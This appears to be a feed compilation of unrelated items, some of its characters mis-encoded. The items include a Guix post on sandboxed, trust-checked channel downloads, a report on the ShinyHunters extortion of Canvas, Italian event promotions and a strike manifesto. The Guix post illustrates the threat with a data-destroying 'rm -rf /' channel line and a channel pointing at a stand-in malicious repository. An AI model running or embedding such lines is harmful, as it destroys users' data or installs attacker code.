On May 8, Google started rolling out updates to its Chrome browser that fixed an astonishing 127 security flaws (up from just 30 the previous month). Chrome automagically downloads available security updates, but installing them requires fully restarting the browser.

If you encounter any weirdness applying the updates from Microsoft or any other vendor mentioned here, feel free to sound off in the comments below. Meantime, if you haven’t backed up your data and/or drive lately, doing that before updating is generally sound advice. For a more granular look at the Microsoft updates released today, checkout this inventory by the SANS Internet Storm Center.

The latest version of Fedora has been released with gaming support.

L'articolo Il 44% dei lavoratori italiani utilizza l’AI: opportunità e sfide per le Direzioni HR proviene da FullPress.

La corsa all’AI sta creando nuove superfici di attacco e i cybercriminali stanno iniziando a sfruttarle con tecniche sempre più sofisticate. L’ultimo caso arriva dal mondo dei modelli open source e delle piattaforme collaborative dedicate all’intelligenza artificiale: un repository malevolo pubblicato su Hugging Face è riuscito a spacciarsi per un progetto ufficiale di OpenAI, raggiungendo […]

L'articolo Falso repository OpenAI su Hugging Face distribuisce malware proviene da Securityinfo.it.

When offered the option to run other people’s code, a prime consideration is often ease of deployment. While much progress has been made in support of rapid deployment, the security implications of those quick deployments is often overlooked. In this post, we look at a new feature of guix time-machine and guix pull in support of one-line deployment commands: the ability to download channel files, but without compromising on security.

Sharing code

The normal workflow to share software and make it easily deployable with Guix goes like this: someone puts their packager hat on and writes a package definition, adds it to Guix proper or to a separate channel, at which point anyone can fetch the relevant channel(s) and deploy the software.

As an example, let’s assume you want to run yt-dlp as packaged in the latest Guix revision without upgrading your system or going through an explicit installation step. The simplest way to do that is with this command:

guix time-machine -q -- shell yt-dlp -- yt-dlp …

If you’re familiar with Nix, this is equivalent—with some important differences we’ll discuss below—to this command:

nix shell nixpkgs#yt-dlp --command yt-dlp …

In both cases, we’re fetching the latest revision of the package collection (the master branch for Guix, the nixpkgs-unstable branch of Nixpkgs for Nix) and running yt-dlp from there. (nix run goes one step further by removing the need to specify the command name.)

Now, that was an easy example because yt-dlp comes from Guix itself. What if you’d like to deploy an application that’s in another channel such as Guix-Science? Well, you would first need to come up with a channels.scm file for Guix-Science and then you can pass it to guix pull or guix time-machine:

$EDITOR channels.scm
# Make sure that includes Guix-Science.
guix time-machine -C channels.scm -- shell …

If you’re lucky, perhaps you can download a channel file. For example, Cuirass produces them for all successfully-evaluated commits, so you can fetch one for Guix-Science and go from there:

wget -O channels.scm \
  https://guix.bordeaux.inria.fr/eval/latest/channels.scm?spec=guix-science
guix time-machine -C channels.scm -- shell …

You can even do it in a single command using Bash process substitution!

guix time-machine \
  -C <(wget -O https://guix.bordeaux.inria.fr/eval/latest/channels.scm?spec=guix-science) \
  -- shell …

Is it a good idea though?

The threat

If you look more closely, the nix shell command and the last two guix time-machine commands have a bit of a curl | sh flavor to it: downloading arbitrary code and running it without further ado. All nix shell does is authenticate github.com, through HTTPS, and likewise for wget—that you’re downloading from the genuine github.com doesn’t tell you anything about the trustworthiness of the code you’re running.

In the case of Guix, the channels.scm you’re downloading could very well read this:

(system* "rm" "-rf" "/")  ;uh-oh!

Here system*, as you might have guessed, invokes a command. Because yes, channel files can contain arbitrary Scheme code! (It’s worth noting that this particular problem is one Nix doesn’t have: Nix being a domain-specific language (DSL) already limits what Nix code can do, especially with so-called “pureâ€� evaluation.)

Or it could read something like this:

(list (channel
        (name 'guix)
        ;; This is Mallory’s malicious Guix, now you’re PWND!
        (url "https://example.org/EVIL/guix.git")
        (branch "master")
        (introduction
         (make-channel-introduction
          "badc0ffeed807b096b48283debdcddccfea34bad"
          (openpgp-fingerprint
           "DEAD CABB A99E F6A8 0D1D  E643 A2A0 6DF2 A33A BADD")))))

In this case, the channel file looks good, but the channel you’ll fetch—probably not so much.

So no: downloading a channel file and using it without checking it is not reasonable.

The cake

Can we have our cake and eat it too? Can we casually download someone else’s channel file without putting our system at risk?

Changes that have just landed in guix pull and guix time-machine aim to address these seemingly contradictory needs. The two commands are now equipped to download by themselves: just pass them a URL with the -C (or --channels) option.

guix time-machine \
  -C https://ci.guix.gnu.org/eval/latest/channels.scm?spec=master \
  -- …

Crucially, this command is not equivalent to the naïve -C <(wget -O …) trick we saw above.

First, channel code is now evaluated in a “sandbox�: it can only access a predefined set of bindings, cannot import additional modules, and it must run in a limited amount of time and with a limited amount of memory allocated. This still provides access to many general-purpose facilities but blocks anything that could be used to alter the system state, exfiltrate data, or cause a denial of service.

With this in place, evaluating a channel file can be considered safe. Now, one problem remains: the file might list channels that I as a user do not trust. And here we see a tension between fetching channel files from out there and keeping one’s system safe. To address that, we define a new rule: only trusted channels may be deployed; if a channel file lists untrusted channels, guix pull and guix time-machine error out. Trusted channels are defined as follows:

• they are those listed in ~/.config/guix/trusted-channels.scm, if it exists—this file lists channels just like a regular channel file;
• or, they are the channels currently in use, as returned by guix describe.

This brings us to the interesting question of channel identity. This channel I call guix-science in my trusted-channels.scm, someone else might as well call it Guix-Science or science; how can I tell if we’re dealing with the channel that I call guix-science and that I trust?

The key insight is that the name itself doesn’t matter; the element that does matter is the “introduction� of the channel—the piece of information that tells how to authenticate updates of that channel. If you forgot that episode, the introduction the thing with hexadecimal strings that appears in a channel specification:

(channel
  (name 'guix-past)
  (url "https://codeberg.org/guix-science/guix-past")
  (introduction   ;this hex soup 👇 is the channel’s identity
   (make-channel-introduction
    "0c119db2ea86a389769f4d2b9c6f5c41c027e336"
    (openpgp-fingerprint
     "3CE4 6455 8A84 FDC6 9DB4  0CFB 090B 1199 3D9A EBB5"))))

Two channels with the same introduction are one and the same. Thus, if my trusted-channels.scm contains a channel with the above introduction, pull and time-machine will happily pull from it.

The corollary is that a channel that cannot be authenticated—i.e., that lacks the introduction field—cannot be considered a trusted channel.

Overall, this “trusted channelâ€� rule trades flexibility for safety. It’s a tradeoff but one that looks like a better default than anything that effectively amounts to arbitrary code execution à la curl | sh.

The party

“Why would I want to download channel files?�, you may ask? Here’s a list of typical use cases we have in mind.

The first one is downloading a channel file from a continuous integration system—to deploy from a known-good state, to test a new package version or a new feature, to reproduce a bug, etc. Cuirass serves channel files for every channel set it evaluates. So for example, you can pull the latest Guix channel that was successfully evaluated like this:

guix pull -C https://ci.guix.gnu.org/eval/latest/channels.scm?spec=master

Likewise, this is how you’d travel to the latest Guix-Science channel and dependent channels to execute RStudio:

guix time-machine \
  -C https://guix.bordeaux.inria.fr/eval/latest/channels.scm?spec=guix-science
  -- shell rstudio -- rstudio

A second, similar use case is one-line commands for demos: if you’re developing an application, you can package it, publish a channel file, and share a time-machine command to spawn it. With pinned channels, you can ensure users run it from a known-good state.

A third use case that is emerging is channel releases. Teams maintaining third-party channels might want to tag releases of their channel as a channel files where each channel is pinned. This is what the Guix-Science project recently decided to do.

In the same vein, a fourth use case is the publication of a tested channel file that a whole team, or a whole fleet of computers, would upgrade from. Imagine a group of people responsible for testing who would periodically publish a new channel file pinned to known-good commits that all the team members or an entire fleet could safely pull from—it could even be used for unattended upgrades!

The fifth use case is reproducible research. A computational workflow can be captured by two files: channels.scm and manifest.scm. In some cases, we might as well download the channel file.

Dissonance?

But wait… the astute reader might have felt some dissonance: downloading a channel file to set up a supposedly reproducible workflow? That can’t be right: the channel file could change over time, or it could vanish from its original URL. That’s not reproducibility, is it?

As Simon Tournier was prompt to suggest, the solution is to support SWHIDs (Software Hash Identifiers) in addition to URLs. A SWHID is essentially a standardized content hash that uniquely identifies “content�—raw data or structured data such as directories and version-control revisions. If you followed along, you might remember that Guix is connected to the Software Heritage archive. Software packaged in Guix is in the archive and so all we had to do is connect the dots.

Consider this command:

guix time-machine \
  -C swh:1:cnt:003e1e0c1b9b358082201332c926ae54e9549002  \
  -- …

It downloads the channel file identified by the given SWHID and then proceeds.

The SWHID serves as an unambiguous and unique content address to refer to a specific channel set. It can be computed using guix hash, but of course, the channel file must first be present in the Software Heritage archive. Thus, if the file is part of a version-control repository, you can first request archiving of that repository. In a research paper, one may include a single command to re-run computations the paper builds upon.

Pleasurable

This new addition felt pleasurable for several reasons. First because it addresses use cases that people had been talking for a while, and it’s always nice to fill gaps. It also felt good because several design choices complement each other so that everything here falls into place: channel specifications, Guile’s “sandboxing�, channel authentication, and Software Heritage integration.

The whole endeavor—allowing for quick deployment without compromising on security—might sound quixotic or, some might say, anachronistic, at a time when the pips, the npms, the snaps and many more are all about deploying software of unknown origin like there’s no tomorrow. In Guix we do believe that transparency, provenance tracking, and verifiability matter for the software we run; efforts like this one are guided by these principles.

The feature landed just a few days ago. Give it a try and let’s hope you find it pleasant as well!

Acknowledgments

I am grateful to Caleb “Reepca� Ristvedt for their thorough code review and insightful suggestions, and to Simon Tournier for commenting on the general approach and suggesting improvements. Many thanks to Rutherther and to Cayetano Santos for reviewing an earlier draft of this post.

L'articolo OpenAI presenta Realtime 2.0, Codex per Chrome e altre novità per sviluppatori proviene da FullPress.

The latest Manjaro 26.1 preview has been released with new desktop versions, a new kernel, and more.

Il ritmo della house internazionale torna protagonista a Milano con Bob Sinclar,
icona mondiale della musica elettronica, pronto a infiammare la città con un evento esclusivo.

Il celebre DJ sarà ospite il Giovedi 28 maggio 2026 al JustMe Milano,
tra le location simbolo della nightlife milanese.

La serata si preannuncia carica di energia e musica, con un DJ set studiato per far ballare il pubblico fino a notte fonda.

Grazie a successi internazionali come Love Generation, World, Hold On e Rock This Party, Bob Sinclar continua da anni a rappresentare un punto fermo della scena dance mondiale, conquistando pubblici di ogni età con il suo stile unico e inconfondibile.

L’evento milanese è già considerato tra gli appuntamenti più attesi della stagione clubbing 2026.
La presenza dell’artista francese richiamerà infatti nel cuore della città appassionati della dance music, fan e amanti della nightlife desiderosi di vivere un’esperienza dal sapore internazionale.

Tra sonorità coinvolgenti, atmosfera esclusiva e una delle venue più celebri di Milano,
la notte firmata Bob Sinclar promette di trasformarsi in uno degli eventi simbolo della primavera milanese.

Un appuntamento dedicato a chi ama lasciarsi trasportare da musica, stile ed emozioni fino all’alba.

PROMO TICKET ONLINE :
https://xceed.me/en/milano/event/bob-sinclar-25/220672/channel/maxhaloa

Credits Photo Web Bob Sinclar e Justme.milano

L'articolo Bob Sinclar arriva a Milano ! proviene da InfoMilano.news.

L’intelligenza artificiale sta, ovviamente e progressivamente, cambiando anche il modo in cui vengono condotte attività di reconnaissance, threat intelligence e analisi offensiva. Accanto ai tradizionali strumenti OSINT, stanno emergendo nuovi progetti che vanno oltre la pura automazione e puntano sulla capacità di guidare i Large Language Model attraverso metodologie operative strutturate. Uno degli esempi più […]

L'articolo Ecco il GitHub per fare di Claude un operatore OSINT avanzato proviene da Securityinfo.it.

In the recent weeks I've been engaging Prot as an Emacs coach to help with doing review passes over my upcoming ffs package as I work on polishing and documenting it in preparation for offering it for inclusion in GNU ELPA.

Yesterday we had our second session focused on ffs, which I recorded and share publicly with everyone with Prot's permission, so that others can also benefit from Prot's insights and experience as we discuss various aspects of Emacs package development with the concrete example of ffs.

Here is the video recording of our session:

You can view or download the full-resolution video from the Internet Archive.

I addressed most of Prot's feedback about ffs from our first session, and I'll be working on the changes we discussed in this session in the next days.

In the last third of the video we switched topics to discuss a few Emacs-related tangents including adding a 'padding' effect for the mode line and its constructs, and distilling and separating the easily-reusable package-like parts of one's Emacs configuration from the actual configuration of those parts (e.g. the distinction of prot-lisp and prot-emacs-modules in Prot's Emacs configuration).

For mode line padding, here is the snippet I'm using with Prot's doric-themes:

(doric-themes-with-colors
  (custom-set-faces
   `(mode-line
     ((t :box (:line-width 6 :color ,bg-shadow-intense))))
   `(mode-line-inactive
     ((t :box (:line-width 6 :color ,bg-shadow-subtle))))
   `(mode-line-highlight
     ((t :box (:color ,bg-shadow-intense))))))

Take care, and so long for now.

An ongoing data extortion attack targeting the widely-used education technology platform Canvas disrupted classes and coursework at school districts and universities across the United States today, after a cybercrime group defaced the service’s login page with a ransom demand that threatened to leak data from 275 million students and faculty across nearly 9,000 educational institutions.

A screenshot shared by a reader showing the extortion message that was shown on the Canvas login page today.

Canvas parent firm Instructure responded to today’s defacement attacks by disabling the platform, which is used by thousands of schools, universities and businesses to manage coursework and assignments, and to communicate with students.

Instructure acknowledged a data breach earlier this week, after the cybercrime group ShinyHunters claimed responsibility and said they would leak data on tens of millions of students and faculty unless paid a ransom. The stated deadline for payment was initially set at May 6, but it was later pushed back to May 12.

In a statement on May 6, Instructure said the investigation so far shows the stolen information includes “certain identifying information of users at affected institutions, such as names, email addresses, and student ID numbers, as well as as messages among users.” The company said it found no evidence the breached data included more sensitive information, such as passwords, dates of birth, government identifiers or financial information.

The May 6 update stated that Canvas was fully operational, and that Instructure was not seeing any ongoing unauthorized activity on their platform. “At this stage, we believe the incident has been contained,” Instructure wrote.

However, by mid-day on Thursday, May 7, students and faculty at dozens of schools and universities were flooding social media sites with comments saying that a ransom demand from ShinyHunters had replaced the usual Canvas login page. Instructure responded by pulling Canvas offline and replacing the portal with the message, “Canvas is currently undergoing scheduled maintenance. Check back soon.”

“We anticipate being up soon, and will provide updates as soon as possible,” reads the current message on Instructure’s status page.

While the data stolen by ShinyHunters may or may not contain particularly sensitive information (ShinyHunters claims it includes several billion private messages among students and teachers, as well as names, phone numbers and email addresses), this attack could hardly have come at a worse time for Instructure: Many of the affected schools and universities are in the middle of final exams, and a prolonged outage could be highly damaging for the company.

The extortion message that greeted countless Canvas users today advised the affected schools to negotiate their own ransom payments to prevent the publication of their data — regardless of whether Instructure decides to pay.

“ShinyHunters has breached Instructure (again),” the extortion message read. “Instead of contacting us to resolve it they ignored us and did some ‘security patches.'”

A source close to the investigation who was not authorized to speak to the press told KrebsOnSecurity that a number of universities have already approached the cybercrime group about paying. The same source also pointed out that the ShinyHunters data leak blog no longer lists Instructure among its current extortion victims, and that the samples of data stolen from Canvas customers were removed as well. Data extortion groups like ShinyHunters will typically only remove victims from their leak sites after receiving an extortion payment or after a victim agrees to negotiate.

Dipan Mann, founder and CEO of the security firm Cloudskope, slammed Instructure for referring to today’s outage as a “scheduled maintenance” event on its status page. Mann said Shiny Hunters first demonstrated they’d breached Instructure on May 1, prompting Instructure’s Chief Information Security Officer Steve Proud to declare the following day that the incident had been contained. But Mann said today’s attack is at least the third time in the past eight months that Instructure has been breached by ShinyHunters.

In a blog post today, Mann noted that in September 2025, ShinyHunters released thousands of internal University of Pennsylvania files — donor records, internal memos, and other confidential materials — through what the Daily Pennsylvanian and other outlets later determined was, in part, a Canvas/Instructure-mediated access path.

“Penn was the named victim,” Mann wrote. “Instructure was the mechanism. The incident was treated as a Penn-specific story by most of the national press and quietly handled by Instructure as a customer-specific matter. That framing was wrong then. It is dramatically more wrong in light of the May 2026 events, which now look like the planned escalation of an attack pattern that ShinyHunters had been working against Instructure’s environment for at least eight months prior. The September 2025 Penn breach was the proof of concept. The May 1, 2026 incident was the production run. The May 7, 2026 recompromise was ShinyHunters demonstrating publicly that the May 2 ‘containment’ did not happen.”

In February, a ShinyHunters spokesperson told The Daily Pennsylvanian that Penn failed to pay a $1 million ransom demand. On March 5, ShinyHunters published 461 megabytes worth of data stolen from Penn, including thousands of files such as donor records and internal memos.

ShinyHunters is a prolific and fluid cybercriminal group that specializes in data theft and extortion. They typically gain access to companies through voice phishing and social engineering attacks that often involve impersonating IT personnel or other trusted members of a targeted organization.

Last month, ShinyHunters relieved the home security giant ADT of personal information on 5.5 million customers. The extortion group told BleepingComputer they breached the company by compromising an employee’s Okta single sign-on account in a voice phishing attack that enabled access to ADT’s Salesforce instance. BleepingComputer says ShinyHunters recently has taken credit for a number of extortion attacks against high-profile organizations, including Medtronic, Rockstar Games, McGraw Hill, 7-Eleven and the cruise line operator Carnival.

The attack on Canvas customers is just one of several major cybercrime campaigns being launched by ShinyHunters at the moment, said Charles Carmakal, chief technology officer at the Google-owned Mandiant Consulting. Carmakal declined to comment specifically on the Canvas breach, but said “there are multiple concurrent and discrete ShinyHunters intrusion and extortion campaigns happening right now.”

Cloudskope’s Mann said what happens next depends largely on whether Instructure’s customers — the universities, K-12 districts, and education ministries paying for Canvas — choose to apply pressure or absorb the breach quietly.

“The history of education-vendor incidents suggests the path of least resistance is the second one,” he concluded.

Update, May 8, 11:05 a.m. ET: Instructure has published an incident update page that includes more information about the breach. Instructure said its Canvas portal is functioning normally again, and that the hackers exploited an issue related to Free-for-Teacher accounts.

“This is the same issue that led to the unauthorized access the prior week,” Instructure wrote. “As a result, we have made the difficult decision to temporarily shut down Free-for-Teacher accounts. These accounts have been a core part of our platform, and we’re committed to resolving the issues with these accounts.”

Instructure said affected organizations were notified on May 6.

“If your organization is affected, Instructure will contact your organization’s primary contacts directly,” the update states. “Please don’t rely on third-party lists or social media posts naming potentially affected organizations as those lists aren’t verified. Instructure will confirm validated information through direct outreach to all affected organizations.”

Update, May 11, 10:16 p.m. ET: Instructure posted an update saying they paid their extortionists in exchange for a promise to destroy the stolen data. “The data was returned to us,” the update reads. “We received digital confirmation of data destruction (shred logs). We have been informed that no Instructure customers will be extorted as a result of this incident, publicly or otherwise.”

L’eleganza della danza torna a incantare il pubblico nel 2026 con Roberto Bolle and Friends,
il celebre gala internazionale che ogni anno riunisce sul palco alcune delle stelle più importanti del balletto mondiale.

Ancora una volta protagonista sarà Roberto Bolle,
tra i danzatori italiani più conosciuti e stimati nel panorama internazionale.

La tournée prenderà il via da Milano, dove lo spettacolo
sarà in programma dal 21 al 24 maggio 2026 presso il Teatro Arcimboldi.

In seguito, la produzione farà tappa anche in altre città italiane, confermando il grande successo di uno degli eventi più attesi dagli appassionati di danza.

Come da consuetudine, Roberto Bolle and Friends porterà in scena un mix di tecnica,
raffinatezza ed emozione attraverso uno spettacolo esclusivo.
Sul palco si esibiranno étoile e primi ballerini provenienti dai teatri più prestigiosi del mondo.
Il pubblico potrà inoltre ammirare coreografie classiche e contemporanee, create per esaltare tutta la potenza espressiva dell’arte della danza.

Dopo i grandi risultati ottenuti nelle edizioni precedenti, anche il 2026 si prospetta come un anno significativo per questo format. Roberto Bolle si conferma infatti una figura di riferimento a livello internazionale, grazie a una carriera che lo ha visto protagonista tra il Teatro alla Scala e l’American Ballet Theatre.

Anche nel 2026, Roberto Bolle and Friends si conferma quindi un appuntamento capace di avvicinare il grande pubblico al mondo della danza. Un’opportunità unica per assistere a uno spettacolo di altissimo profilo nel cuore di Milano.

TICKETS :
https://www.ticketone.it/artist/roberto-bolle/roberto-bolle-and-friends-3623474/

Credits Photo Pagina Facebook di Roberto Bolle

L'articolo Roberto Bolle and Friends a Milano proviene da InfoMilano.news.

MANIFESTAZIONE A LIVORNO ORE 9:30 PIAZZA CAVOUR

Il 7 maggio lavoratrici e lavoratori della scuola incroceranno le braccia insieme a studentesse e studenti, con manifestazioni territoriali in decine di città. L'appuntamento a Roma è alle ore 9:00 al MIM in viale Trastevere.

Lo sciopero, proclamato anche per il 6 maggio per garantire la massima copertura al personale, chiama al boicottaggio delle prove INVALSI e raccoglie l'invito alla mobilitazione dell'assemblea internazionale giovanile We do not enlist.
Scioperiamo contro la militarizzazione della scuola e della società, contro la leva obbligatoria, contro la riforma degli istituti tecnici e professionali che consegna la formazione delle classi popolari direttamente nelle mani delle imprese, contro le nuove linee guida dei licei e contro un rinnovo contrattuale che propone salari vergognosi mentre l'inflazione cresce, trascinata dai costi di guerre che non abbiamo voluto e non vogliamo.
La scuola di Valditara non è la nostra. Le sue politiche reazionarie, classiste, repressive e di militarizzazione sono nemiche di studenti e lavoratori. Riprendiamoci spazi di democrazia e di organizzazione politica e sociale a partire dalle scuole, lottiamo per una scuola statale al servizio di chi la fa e la vive. Cancelliamo quasi quarant'anni di controriforme.
Né "capitale umano" né manodopera ideologizzata!
Scioperiamo perché la scuola non deve essere ridotta a produttrice di "capitale umano" da immettere sul mercato del lavoro secondo le logiche della competitività e del profitto. Rifiutiamo la retorica delle competenze, strumento ideologico con cui si svuotano i saperi critici e si addestrano menti flessibili, adattabili, sfruttabili. Rifiutiamo ancora una volta la formazione scuola-lavoro, sfruttamento di lavoro minorile travestito da esperienza formativa, che è già costata la vita a troppi giovani.
In questo quadro si innesta la riforma degli istituti tecnici e professionali. I nuovi percorsi 4+2 e i nuovi quadri orari piegano i programmi alle esigenze produttive dei territori, erodono la formazione generale e critica, e avviano gli studenti delle classi popolari – quelli che storicamente frequentano i tecnici e i professionali – a diventare manodopera qualificata su misura per il distretto industriale di turno. Non è orientamento, è selezione di classe. Non è innovazione didattica, è privatizzazione strisciante del sapere.
Le nuove Indicazioni per i Licei: l'altra faccia dello stesso progetto classista.
Mentre i tecnici e i professionali vengono consegnati alle imprese, il 22 aprile il ministero ha pubblicato il testo delle nuove Indicazioni Nazionali per i Licei: l'altra metà del disegno. Non un'operazione separata, ma il complemento ideologico della stessa controriforma. Ai figli delle classi popolari avviati nei "licei agrari", "chimici" o "tessili" – la trovata semantica con cui Valditara annuncia di voler smantellare la distinzione formale tra licei e tecnici – si vuole consegnare la formazione professionalizzante; ai licei tradizionali, frequentati in gran parte dalla borghesia e dai ceti medi, si destina invece la costruzione di una "coscienza" identitaria dichiaratamente eurocentrica e nazionalista.
La centralità della storia dell'Italia e dell'Occidente, la soppressione della geostoria, la ridefinizione dell'inclusione come "architrave della cultura occidentale moderna": non sono scelte didattiche neutre, ma una precisa operazione politica. Si riscrive il canone in chiave identitaria, si restringe lo sguardo storico proprio mentre si chiede ai nostri ragazzi di diventare carne da cannone in guerre globali, si svuotano gli strumenti critici per leggere il presente – il colonialismo, le migrazioni, il genocidio in corso – riducendoli a marginalità rispetto a un nucleo "euro-occidentale" presentato come depositario universale di diritti e civiltà. È la stessa narrazione bellicista che giustifica l'aumento delle spese militari e la riduzione del welfare, trasferita dentro i programmi scolastici. L'irruzione dell'intelligenza artificiale "in attuazione della Legge 132/2025 e dell'AI Act", senza alcuna formazione strutturata per il personale e senza investimenti reali, completa il quadro: parole d'ordine modernizzanti su un impianto culturalmente regressivo.
E come già accaduto per le Indicazioni del primo ciclo, la "consultazione" è una farsa: il questionario predisposto dal ministero non prevede neanche l'opzione del parere negativo. La fase di ascolto è una messa in scena, come lo è la riforma stessa.
Tecnici e licei, dunque, non sono due capitoli distinti: sono il dritto e il rovescio dello stesso progetto. Una scuola che separa, che gerarchizza, che addestra i figli del lavoro al lavoro precario e i figli delle élite a una "missione di civiltà" funzionale alla retorica di guerra. Va respinta tutta intera.
Inclusione, salari, contratto
Scioperiamo per la scuola che include e non separa, capace di rispondere ai tagli agli organici di sostegno e ai servizi per gli alunni con disabilità previsti dal decreto legislativo 62/2024 – scelte di cinica contabilità fatte sulla pelle di studenti, famiglie e lavoratori, mentre i soldi pubblici vengono trasferiti all'industria militare. Rivendichiamo la stabilizzazione dei precari, l'internalizzazione degli educatori delle cooperative sociali, salari adeguati all'inflazione, un contratto degno.
Contro la leva, contro la guerra!
Davanti al rischio di escalation della guerra in Iran e alle sue ricadute globali, mentre il genocidio del popolo palestinese continua nel silenzio complice dei governi occidentali e delle complicità con lo Stato di Israele, dobbiamo riconnettere scuola e società reale. La scuola rischia di essere risucchiata nella spirale folle innescata dagli USA di Trump, con il silenzio-assenso degli altri governi occidentali, e di essere ridotta a funzione del processo di militarizzazione.
In molti paesi europei si è già reintrodotta o ci si avvia a reintrodurre la leva militare obbligatoria. Anche contro la leva dobbiamo scioperare: gli studenti non sono carne da cannone, non sono forza lavoro disponibile, non sono risorse umane da ottimizzare per l'economia di guerra. Il progetto di reintroduzione della coscrizione non è separabile dall'escalation bellica, dall'aumento delle spese per gli armamenti a scapito del welfare, dalla narrazione che vuole trasformare le nostre scuole in anticamere delle caserme.
Non a caso il 7 maggio sarà anche il giorno dello sciopero dei lavoratori portuali di USB contro la privatizzazione e la militarizzazione dei porti: una convergenza che riconnette i protagonisti delle mobilitazioni dello scorso autunno e dà forza a un progetto alternativo.
Il 7 maggio si sciopera. Studenti e lavoratori uniti, contro la guerra, contro la leva, contro la scuola classista di Valditara – tecnici e licei. Per una nuova scuola pubblica, statale, democratica e antifascista.

This month in Linux Voice.

L'articolo Polymarket e i pericoli dei mercati predittivi proviene da Guerre di Rete.

This month we explore Zenclora OS 2.0, MocaccinoOS 26.03, NebiOS 10.2, and CachyOS 260308.

Ghost is a powerful CMS for beginners and professionals who want to grow a business around their content.

Corporate communication platforms might be convenient, but they put your privacy at risk. The Matrix open communication standard offers a different approach.

This month we explore the top FOSS, including the ultimate FTP client, a 6502 Assembly Environment, and open source levels for Doom.